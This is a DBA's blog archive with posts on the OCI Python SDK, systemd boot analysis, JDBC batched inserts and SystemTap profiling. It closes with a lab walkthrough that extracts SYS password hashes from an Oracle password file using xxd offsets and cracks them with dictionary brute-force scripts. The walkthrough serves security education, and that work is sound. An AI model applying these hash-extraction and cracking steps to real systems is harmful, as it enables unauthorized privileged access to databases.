Data … as usual

All things about data by Laurent Leturgez

Category Archives: Oracle

Dealing with Oracle Cloud Infrastructure and Python

Oracle provides various SDK to create resources in the OCI.

Recently, I played with the Python SDK for OCI. In this blog post, I will show you the basics to create a simple bucket in the Object Storage part of OCI, and simply put a file on this Bucket.

OCI Client configuration

First, you will need to install the python OCI package. The best for that is to create a python virtual environment, activate it, and install all the packages you need inside.


mbp:python_venv $ python -m virtualenv oci
Using base prefix '/Users/leturgezl/miniconda3/envs/general'
New python executable in /Users/leturgezl/python_venv/oci/bin/python
Installing setuptools, pip, wheel...
done.

mbp:python_venv $ source oci/bin/activate


(oci) mbp:python_venv leturgezl$ pip install oci numpy pandas

Now that packages are installed, we have to configure the client to access OCI.

To do that, we need many things :

  • User OCID: this can be found in the User’s Page in OCI
  • Tenancy OCI: this can be found in the Tenancy’s page in OCI
  • Your OCI region
  • A private key file, its public key, and the related fingerprint.

The keys have been generated like this (I used a key without passphrase)


# Private key generation

$ mkdir ~/.oci
$ openssl genrsa -out ~/.oci/oci_api_key.pem 2048
$ chmod go-rwx ~/.oci/oci_api_key.pem

# Public key generation
$ openssl rsa -pubout -in ~/.oci/oci_api_key.pem -out ~/.oci/oci_api_key_public.pem

# Fingerprint generation
$ openssl rsa -pubout -outform DER -in ~/.oci/oci_api_key.pem | openssl md5 -c

Once you did that, you will have to configure you user in OCI to add it the public key, the fingerprint given in the interface must match with the previous command:

OCI User 1

 

It’s important to keep your private key “private” (don’t send it to another people, or leave it without any protection on your laptop).

Now, your local environment is configured, we will need a dictionary structure in our python script to use the SDK.

This dictionary can be build manually and embedded in the code, then you will have to fill the required fields (Key file location is the private key location):

config = {
    "user": "ocid1.user.oc1..aaaaaaaamcel7xygkvhe....aaaaaaaaaaaaaaaaaaaaa" ,
    "key_file": "~/.oci/oci_api_key.pem",
    "fingerprint": "35:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa",
    "tenancy": "ocid1.tenancy.oc1..aaaaaaaahgagkf7xygkvhe....aaaaaaaaaaaaaaaaaaaaa",
    "region": "eu-frankfurt-1"
}

Or, you can configure a local “config” file in your ~/.oci/ directory and then load it in the code with the given python code below:


$ cat ~/.oci/config
[DEFAULT]
user=ocid1.user.oc1..aaaaaaaamcel7xygkvhe....aaaaaaaaaaaaaaaaaaaaa
fingerprint=35:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa
key_file=~/.oci/oci_api_key.pem
tenancy=ocid1.tenancy.oc1..aaaaaaaahgagkf7xygkvhe....aaaaaaaaaaaaaaaaaaaaa
region=eu-frankfurt-1

Note : you can embed more than one user profile in this file. The only one required is the DEFAULT profile.


>>> import oci
>>> import pandas as pd
>>> config=oci.config.from_file()
>>> df=pd.DataFrame.from_dict(config, orient='index')
>>> df
                                                                       0
log_requests                                                       False
additional_user_agent
pass_phrase                                                         None
user                             ocid1.user.oc1..aaaaaaaamcel7xygkvhe...
fingerprint              35:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa
key_file                                          ~/.oci/oci_api_key.pem
tenancy                     ocid1.tenancy.oc1..aaaaaaaahgagkf7xygkvhe...
region                                                    eu-frankfurt-1

You can read the oci config file and select another profile by using this:


config = oci.config.from_file(profile_name="laurent")

Or use another file by using this parameter


config = oci.config.from_file(file_location="~/OCI_config.uat")

You can see there are more parameters in the dictionary, you can find the details by reading this: https://docs.cloud.oracle.com/iaas/Content/API/Concepts/sdkconfig.htm.

Creating an Object Storage bucket in OCI

Now our client is well configured to access OCI through a user and his keys.

it’s really easy to create a bucket. We have to request an ObjectStorageClient object and use it to create the bucket:

import oci
from oci.object_storage.models import CreateBucketDetails

compartment_id = config["tenancy"]
object_storage = oci.object_storage.ObjectStorageClient(config)

namespace = object_storage.get_namespace().data
bkt_name = "python-bucket"
object_name = "python_file"

print("Creating a new bucket {!r} in compartment {!r}".format(bkt_name, compartment_id))
request = CreateBucketDetails()
request.compartment_id = compartment_id
request.name = bkt_name
bucket = object_storage.create_bucket(namespace, request)

This will produce that kind of output:

Creating a new bucket 'python-bucket' in compartment 'ocid1.tenancy.oc1..aaaaaaaahgagkf7xygkvhe...'

And in the OCI web interface, our bucket appeared :

OCI Bucket 1

Put a file into the Object storage bucket

Now we have a bucket created in our compartment, it’s easy to put a file on it (I’ll put a binary file which is a PNG file).

To do that, the below code will be enough (considering variables have been initiated by previous code parts … see above)


with open("images/myimage.png", mode='rb') as file:
my_data = file.read()

obj = object_storage.put_object(
namespace,
bkt_name,
object_name,
my_data)

In the OCI console, inside the previously created bucket, the file has been created and is available:

OCI Bucket 2

As you can see, deploying resources on the OCI is easy and you can deploy your full infrastructure with a bunch of code.

Next investigations will be made soon, specially to deploy virtual machines, storage and databases of course.

That’s it for today 🙂

Advertisements

Monitor your Oracle Linux startup time

Linux redhat’s based systems (like Oracle Linux) come with systemd init system that is used to bootstrap the user space and to manage system processes after booting.

Systemd has been created to reduce boot time (and shutdown time) of your server, but sometime, you can have a process that slows down the boot process and, in order to diagnose it, you can use a very interesting command to do that stuff.

The command is systemd-analyze.

With no argument, it will help you to know in how many time your server starts-up and how many times it spent on each phase (kernel, initrd, and user space) :

[root@oel7 ~]# systemd-analyze
Startup finished in 1.942s (kernel) + 6.141s (initrd) + 1min 44.688s (userspace) = 1min 52.772s

 

Another interesting option is the “blame” option that will give you the list of running systemd units ordered by time to initialize (remark: I used the no-pager switch to disable results paging)

[root@oel7 ~]# systemd-analyze blame --no-pager
    1min 15.289s kdump.service
         50.119s plymouth-quit-wait.service
         37.486s vboxadd.service
          8.134s accounts-daemon.service
          6.110s tuned.service
          5.179s systemd-logind.service
          5.092s libvirtd.service
          5.026s NetworkManager-wait-online.service
          4.873s systemd-udev-settle.service
          4.870s lvm2-monitor.service
          4.863s ModemManager.service
          4.749s ksm.service
          4.742s rhel-dmesg.service
          4.316s postfix.service
          4.052s NetworkManager.service
          3.924s dev-mapper-ol\x2droot_lv.device
          3.678s abrt-ccpp.service
          3.200s rtkit-daemon.service
          3.087s polkit.service
          2.937s gssproxy.service
          1.875s lvm2-pvscan@8:2.service
          1.508s rsyslog.service
          1.505s network.service
          1.425s packagekit.service
          1.420s sysstat.service
          1.401s sshd.service
          1.374s systemd-tmpfiles-setup-dev.service
          1.214s avahi-daemon.service
          1.109s netcf-transaction.service
          1.063s proc-fs-nfsd.mount
          1.014s chronyd.service
           932ms rhel-readonly.service
           913ms rhnsd.service
           877ms systemd-udevd.service
           842ms dev-mapper-ol\x2dswap_lv.swap
           800ms auditd.service
           778ms plymouth-read-write.service
           750ms u01.mount
           746ms systemd-tmpfiles-setup.service
           709ms systemd-vconsole-setup.service
           692ms systemd-fsck@dev-mapper-ol\x2dorasoft_lv.service
           638ms systemd-fsck@dev-mapper-ol\x2doradata_lv.service
           632ms systemd-journald.service
           631ms u02.mount
.../...

With this command, you can display aa tree of every steps in the init critical chain and how many time it took:

[root@oel7 ~]# systemd-analyze critical-chain
The time after the unit is active or started is printed after the "@" character.
The time the unit takes to start is printed after the "+" character.

graphical.target @1min 44.678s
└─multi-user.target @1min 44.678s
  └─vboxadd-service.service @50.648s +372ms
    └─vboxadd.service @13.158s +37.486s
      └─basic.target @12.969s
        └─paths.target @12.969s
          └─cups.path @12.968s
            └─sysinit.target @12.509s
              └─systemd-update-utmp.service @12.403s +105ms
                └─auditd.service @11.602s +800ms
                  └─systemd-tmpfiles-setup.service @10.719s +746ms
                    └─rhel-import-state.service @10.120s +590ms
                      └─local-fs.target @10.118s
                        └─run-user-0.mount @1min 8.832s
                          └─local-fs-pre.target @9.141s
                            └─lvm2-monitor.service @4.269s +4.870s
                              └─lvm2-lvmetad.service @5.220s
                                └─lvm2-lvmetad.socket @4.267s
                                  └─-.slice

The last but not least option offers the possibility to generate a SVG diagram (readable in a web browser) to visualize all the details of the bootstrap and daemons initialisation.

To do that you have to use the plot option:

[root@oel7 ~]# systemd-analyze plot > t.html

Then, you will get a nice plot in your browser to easily identify which process took the major part of the boot time:

For information, a legend is displayed on the page bottom.


 

 

That’s it for today 😉

 

Insert data in Oracle with Java … Batched mode.

Problem / Context

Today, I worked on a performance issue at my customer. The context is a Java app which did a processing and at the end of this processing, the application inserts tons of data on an Oracle database.

The customers was complaining about slow performance on the insertion phase and asked me to have a look on it.

Database was IO Bound, and many sessions were doing some one-row inserts on various tables (INSERT INTO … VALUES (:1, :2, …) ). These one-row insert were off course processed many times, and oracle session’s stats was reporting a high number of executions.

On the Java side

As an Oracle DBA or Developer, we all know that, with PLSQL, it’s easy to write a FORALL loop that will bulk insert the data, and then reduce execution time. To do that, you need to have a cursor which is read in bulkl (BULK COLLECT) and each part is then inserted in the database. This reduces the number of operations, loops etc.


DECLARE
CURSOR s_cur IS
SELECT *
FROM servers;

TYPE fetch_array IS TABLE OF s_cur%ROWTYPE;
s_array fetch_array;
BEGIN
OPEN s_cur;
LOOP
FETCH s_cur BULK COLLECT INTO s_array LIMIT 1000;

FORALL i IN 1..s_array.COUNT
INSERT INTO servers2 VALUES s_array(i);

EXIT WHEN s_cur%NOTFOUND;
END LOOP;
CLOSE s_cur;
COMMIT;
END;
/

Source: http://psoug.org/snippet/FORALL-Insert_499.htm

In Java, the problem can be different because the data processed by your app are not necesseraly coming from a database.

Usually, statements are prepared, variables are attached and the statement is executed. When it’s done in a loop, it looks something like that:


try{
         DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
         Connection c = DriverManager.getConnection ("jdbc:oracle:thin:@192.168.99.8:1521:orcl","laurent","laurent");
         PreparedStatement stmt = c.prepareStatement("insert into emp(employee_id,first_name,last_name,salary) values (?,?,?,?)");
         start=System.currentTimeMillis();

         for (int i=0 ; i < 50000 ; i++) {
                  stmt.setInt(1,i);
                  stmt.setString(2,generateRandomChars("01234567890ABCDEF",16));
                  stmt.setString(3,generateRandomChars("01234567890ABCDEF",16));
                  stmt.setInt(4,r.nextInt(10000+1)+5000);
                  stmt.executeUpdate();
         }
         stop=System.currentTimeMillis();
         System.out.println("time = "+(stop-start));
         stmt.close();
         c.close();
   }
   catch(Exception e){
      System.err.println(e);
      e.printStackTrace();
   }

The problem is the statement is sent to the database 50000 times, and then increase number of operation between the database and the application. As a result, execution time is high (this demo has been executed on a VM on my laptop):

[oracle@oel6 JAVA]$ time java -cp $CLASSPATH:ojdbc7.jar:. TestNoBatchedInsert
time = 75430

real    1m16.514s
user    0m5.279s
sys     0m1.080s

As for PLSQL, there is a technique to write a beautiful and powerful java code that will process inserts by batchs, and then reduce the number of loops, calls between database and application etc.

To do that, instead of using executeStatement method X times, we can use the addBatch method that will create a “batch” which will be executed on the database when PreparedStatement’s method “executeBatch” will be called.

If you’re familiar with FORALL in PLSQL, you probably know that, the more the batchsize is big, the more memory you will use. In Java, it will be the same and the result will be a bigger heap size, that’s why it’s recommended to define a batch size and each time your batch will reach a max size, the batch will be executed. This can be done like this:

try{
        DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
        Connection c = DriverManager.getConnection ("jdbc:oracle:thin:@192.168.99.8:1521:orcl","laurent","laurent");
        PreparedStatement stmt = c.prepareStatement("insert into emp(employee_id,first_name,last_name,salary) values (?,?,?,?)");
        start=System.currentTimeMillis();

        int batchSize=5000;
        int count=0;
        for (int i=0 ; i < 50000 ; i++) {
                stmt.setInt(1,i);
                stmt.setString(2,generateRandomChars("01234567890ABCDEF",16));
                stmt.setString(3,generateRandomChars("01234567890ABCDEF",16));
                stmt.setInt(4,r.nextInt(10000+1)+5000);
                stmt.addBatch();

                if (++count % batchSize == 0) {
                        stmt.executeBatch();
                }
        }

        stop=System.currentTimeMillis();
        System.out.println("time = "+(stop-start));
        stmt.close();
        c.close();
}
catch(Exception e){
  System.err.println(e);
  e.printStackTrace();
}

Now, if I run this program, wall time is not really the same scale:

[oracle@oel6 JAVA]$ time java -cp $CLASSPATH:ojdbc7.jar:. TestBatchedInsert
time = 598

real    0m1.964s
user    0m3.393s
sys     0m0.269s

On the database side

AWR Reports show many things:

  • First,  if we run the java sample codes as they are described, the no batch mode will commit the database after each execute update. As a result, log file switch event will increase:

Non batched inserts:

Top 10 Foreground Events by Total Wait Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                           Total Wait       Wait   % DB Wait
Event                                Waits Time (sec)    Avg(ms)   time Class
------------------------------ ----------- ---------- ---------- ------ --------
log file sync                       49,999         64       1.28   86.8 Commit
DB CPU                                            9.3              12.6
db file sequential read                 47          0       0.97     .1 User I/O
SQL*Net message to client           50,012          0       0.00     .1 Network
log file switch completion               1          0      27.60     .0 Configur
undo segment extension                   2          0       5.16     .0 Configur
direct path write                        3          0       1.08     .0 User I/O
direct path sync                         1          0       3.15     .0 User I/O
Disk file operations I/O                19          0       0.04     .0 User I/O
control file sequential read           194          0       0.00     .0 System I

Batched inserts:

Top 10 Foreground Events by Total Wait Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                           Total Wait       Wait   % DB Wait
Event                                Waits Time (sec)    Avg(ms)   time Class
------------------------------ ----------- ---------- ---------- ------ --------
DB CPU                                             .3              72.9
SQL*Net more data from client          268          0       0.17   10.1 Network
log file sync                           13          0       3.29    9.5 Commit
db file sequential read                 49          0       0.37    4.0 User I/O
Disk file operations I/O                17          0       0.03     .1 User I/O
control file sequential read           134          0       0.00     .1 System I
SQL*Net more data to client             10          0       0.02     .1 Network
SQL*Net message to client               22          0       0.00     .0 Network
log file single write                    0          0                .0 System I
asynch descriptor resize                 0          0                .0 Other
  • Then, due to batched process, number of buffer gets is reduced when batched inserts are used

Non batched inserts:

Segments by Logical Reads                   DB/Inst: ORCL/orcl  Snaps: 200-201
-> Total Logical Reads:         212,288
-> Captured Segments account for   28.4% of Total
-> When ** MISSING ** occurs, some of the object attributes may not be available

                     Tablespace
Owner                   Name
-------------------- ----------
                     Subobject  Obj.                             Logical
Object Name            Name     Type        Obj#   Dataobj#        Reads  %Total
-------------------- ---------- ----- ---------- ---------- ------------ -------
LAURENT              USERS
EMP                             TABLE      93857      93860       52,576   24.77

Batched inserts:
Segments by Logical Reads                   DB/Inst: ORCL/orcl  Snaps: 201-202
-> Total Logical Reads:          11,792
-> Captured Segments account for   83.0% of Total
-> When ** MISSING ** occurs, some of the object attributes may not be available

                     Tablespace
Owner                   Name
-------------------- ----------
                     Subobject  Obj.                             Logical
Object Name            Name     Type        Obj#   Dataobj#        Reads  %Total
-------------------- ---------- ----- ---------- ---------- ------------ -------
LAURENT              USERS
EMP                             TABLE      93857      93860        3,504   29.72
  • Same for buffer gets. Execution number is less for batched inserts (number of execution depends on your batch size)

Non batched inserts:

     Buffer                 Gets              Elapsed
      Gets   Executions   per Exec   %Total   Time (s)  %CPU   %IO    SQL Id
----------- ----------- ------------ ------ ---------- ----- ----- -------------
    152,587      50,000          3.1   71.9        2.1  11.3     0 7c9ws5uvx9nyc
Module: JDBC Thin Client
insert into emp(employee_id,first_name,last_name,salary) values (:1 ,:2 ,:3 ,:4
)

Batched inserts:

     Buffer                 Gets              Elapsed
      Gets   Executions   per Exec   %Total   Time (s)  %CPU   %IO    SQL Id
----------- ----------- ------------ ------ ---------- ----- ----- -------------
      3,669          10        366.9   31.1        0.1    57     0 7c9ws5uvx9nyc
Module: JDBC Thin Client
insert into emp(employee_id,first_name,last_name,salary) values (:1 ,:2 ,:3 ,:4)

 

When developer have to insert tons on data from a java app, it’s better when they used the best way to do it …. batched inserts have to be used in that case, it will help the database to be more powerful.

That’s it for today 😉

Profiling Java Application with Systemtap

A couple of days ago, I read this tweet from Tanel Poder :

I’m not a JVM internals geek but I was sure there was a way to do the job without restarting the JVM, and I found some cool stuff with Systemtap.

To do this, you have to install two packages on your linux distribution: systemtap and systemtap-runtime-java (and configure correctly your user environment):

[root@spark ~]# yum install systemtap systemtap-runtime-java

Please note that I used a CentOS 7.4 distribution.

Then, and for the demo, I wrote a very small piece of Java that do these steps:

  1. Prints the JVM PID
  2. Wait for a key to be pressed. During this time, you will have to execute the systemtap script I will described later.
  3. Execute a loop ten times, each loop with print a message and wait one second, and this last step is executed in a method name “loop_and_wait”.

Here’s the sample code:


package com.premiseo;

import java.lang.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;

class Example {
   public static void loop_and_wait(int n) throws InterruptedException{
           System.out.println("Waiting "+n+"ms... Tick");
           Thread.sleep(n);
        }

   public static void main(String[] args) {

      System.out.println("PID = "+java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
      System.out.println("Press any key when ready ...");

      try {
        BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
        String next = in.readLine();
      }
      catch (IOException ioe) {
        ioe.printStackTrace();
      }

      try {
        for (int i=0;i<10;i++) {
           loop_and_wait(1000);
        }
      }
      catch (InterruptedException ie) {
        ie.printStackTrace();
      }
   }
}

Then, compile and execute … very basic I said 😉

[spark@spark java]$ javac -cp $CLASSPATH:. com/premiseo/Example.java
[spark@spark java]$ java -cp $CLASSPATH:. com.premiseo.Example
PID = 9928
Press any key when ready ...

Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick

Now, to answer to Tanel, I used a short systemtap script that will profile the program and specially the loop_and_wait method. I will count the number of times the loop_and_wait method has been called, and I will account the time spent in this method execution.

To do that, I had to write two probes related to:

  • the full name of the class, including the package name: com.premiseo.Example
  • the class name where the method is defined: Example
  • the method name I want to profile: loop_and_wait

The first one will be executed when the program will start to execute the targeted method (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”)), the second one will be executed when the method will return (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”).return)

The related systemtap script is given below:

#!/usr/bin/env stap

global counter,timespent,t

probe begin {
  printf("Press Ctrl+C to stop profiling\n")
  counter=0
  timespent=0
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  counter++
  t=gettimeofday_ms()
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait").return
{
  timespent+=gettimeofday_ms()-t
}

probe end {
   printf("Number of calls for loop_and_wait method: %ld \n",    counter)
   printf("Time Spent in method loop_and_wait: %ld msecs \n", timespent)
}

Execution of this systemtap script gave the following result (click the image for full size):

Is it dynamic? Yes, no need to restart the running JVM process you want to target. If you want to target a specific JVM process id, you can use the stap’s “-x” option, add the modify your probe definition like this:

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  if (pid() == target())
    counter++
    t=gettimeofday_ms()
}

There’s a limitation, you cannot use wilcards in the java probe definition (java(“com.premiseo.Example”).class(“Example”).method(“loop*”) … for example). That would have been useful to profile a set of methods in the same class … but not possible currently.

If you want to read more about this kind of stuff, please read the following websites:

And … that’s all for today !! 😉

 

 

Brute forcing the Oracle Password file

If you want to remotely connect to your Oracle instance as sysdba, by default (ie. remote_login_passwordfile=EXCLUSIVE), you will probably use the password file (located in $ORACLE_HOME/dbs) to identify the SYS user.

Below, I used auditd to show that the password file is read by the server process when connecting remotely:

[oracle@oel6 ~]$ sudo service auditd status
auditd (pid  2422) is running...

[oracle@oel6 ~]$ sudo auditctl -l
No rules

[oracle@oel6 ~]$ sudo auditctl -w $ORACLE_HOME/dbs/orapworcl -p r
[oracle@oel6 ~]$ sudo auditctl -l
-w /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl -p r
[oracle@oel6 ~]$ sqlplus sys@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 09:14:52 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

[oracle@oel6 ~]$ sudo ausearch -f $ORACLE_HOME/dbs/orapworcl | grep -A 2 '^type=PATH'
type=PATH msg=audit(1513326435.361:310): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:310):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:310): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:311): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:311):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:311): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:312): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:312):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:312): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=7ffe8aaf9c70 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:313): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:313):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:313): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:314): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:314):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:314): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:315): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:315):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:315): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:316): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:316):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:316): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:317): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:317):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:317): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
[oracle@oel6 ~]$ ps -ef | grep 7840
oracle    7840     1  0 09:27 ?        00:00:00 oracleorcl (LOCAL=NO)

So, if we have a closer look to this binary file, we can find various password hashes. In my example, I configured my sqlnet with SQLNET.ALLOWED_LOGON_VERSION_SERVER=11. As a result, my password file contains 10g, 11g and 12c password hashes for the SYS user.

Below, I used xxd linux command with specific offsets on my password file to get the password hashes (in bold in the output):

  • 10g sys password hash
[oracle@oel6 ~]$ xxd -c16 -g0 -s +0x0484 -l 16 $ORACLE_HOME/dbs/orapworcl
0000484: 32363235343335323638333944303441 262543526839D04A
  • 11g sys password hash
[oracle@oel6 ~]$ xxd -c30 -g0 -s +0x04ac -l 30 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314 *.....o3.I..H.......>.....^.S.

First part (20 first bytes): SHA1 digest

[oracle@oel6 ~]$ xxd -c20 -g0 -s +0x04ac -l 20 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f9 *.....o3.I..H.......

Second part (10 next bytes): Salt used by Oracle

[oracle@oel6 ~]$ xxd -c10 -g0 -s +0x4C0 -l 10 $ORACLE_HOME/dbs/orapworcl
00004c0: 3ef3c5da13ca5eb95314 >.....^.S.
  • 12c sys password hash
[oracle@oel6 ~]$ xxd -c80 -g0 -s +0x04CA -l 80 $ORACLE_HOME/dbs/orapworcl
00004ca: ad84face7a337c03baacca0bc63f97068e51edd0d6c53826ce8c347594a2800f92c736b4c83239fa47414ff2f68f45304b016ae215ed595c8b71c3c5a0ca3a0630e931d0f7d3929c9a6fb131f2fa0427 ....z3|......?...Q....8&..4u......6..29.GAO...E0K.j...Y\.q....:.0.1......o.1...'

Note: if you use the default configuration of oracle 12.2, you will only find 11g and 12c hashes.

 

Once these hashes have been found, I wrote some python scripts to brute force with a dictionary file to guess the password. Those scripts are available at this URL: https://github.com/lolo115/oracrack

First of all, I used the ora10g_hash_bf.py against the 10g hash to find the case insensitive password:

[oracle@oel6 sec]$ ./ora10g_hash_bf.py dict.txt sys 262543526839D04A
DICTFILE = dict.txt
USERNAME = sys
HASH     = 262543526839D04A
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: rockyou
------
Be careful, the found password is case insensitive. The real password can include upper character(s)
Now generate all combinations for this password and run ora11g_hash_bf.py script to find the case sensitive password

Ok, the password is weak and the program found it in the dictionary file, but if we try it on our database, it fails because I used a sqlplus 12.2 client that use case sensitive passwords (and my SQLNET client configuration is the default one):

$ sqlplus sys/rockyou@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:06:37 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

ERROR:
ORA-01017: invalid username/password; logon denied

So, now as I know that the sys password is something like “rockyou” with upper and lower characters in it, I will use my “gen_all_comb.py” script to generate my own dictionary file that will contains all the combination for the “rockyou” password:

[oracle@oel6 sec]$ ./gen_all_comb.py rockyou > mydict.txt
[oracle@oel6 sec]$ head mydict.txt
rockyou
rockyoU
rockyOu
rockyOU
rockYou
rockYoU
rockYOu
rockYOU
rocKyou
rocKyoU
.../...

As the last operation, I have to use the ora11g_hash_bf.py script against the 11g hash (which is case sensitive) with my previously generated dictionary (mydict) and the script will find the correct password:

[oracle@oel6 sec]$ ./ora11g_hash_bf.py mydict.txt sys 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
DICTFILE = mydict.txt
USERNAME = sys
HASH     = 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: RocKyoU

So let’s try:

[oracle@oel6 sec]$ sqlplus sys/RocKyoU@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:12:17 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.


Connected to:
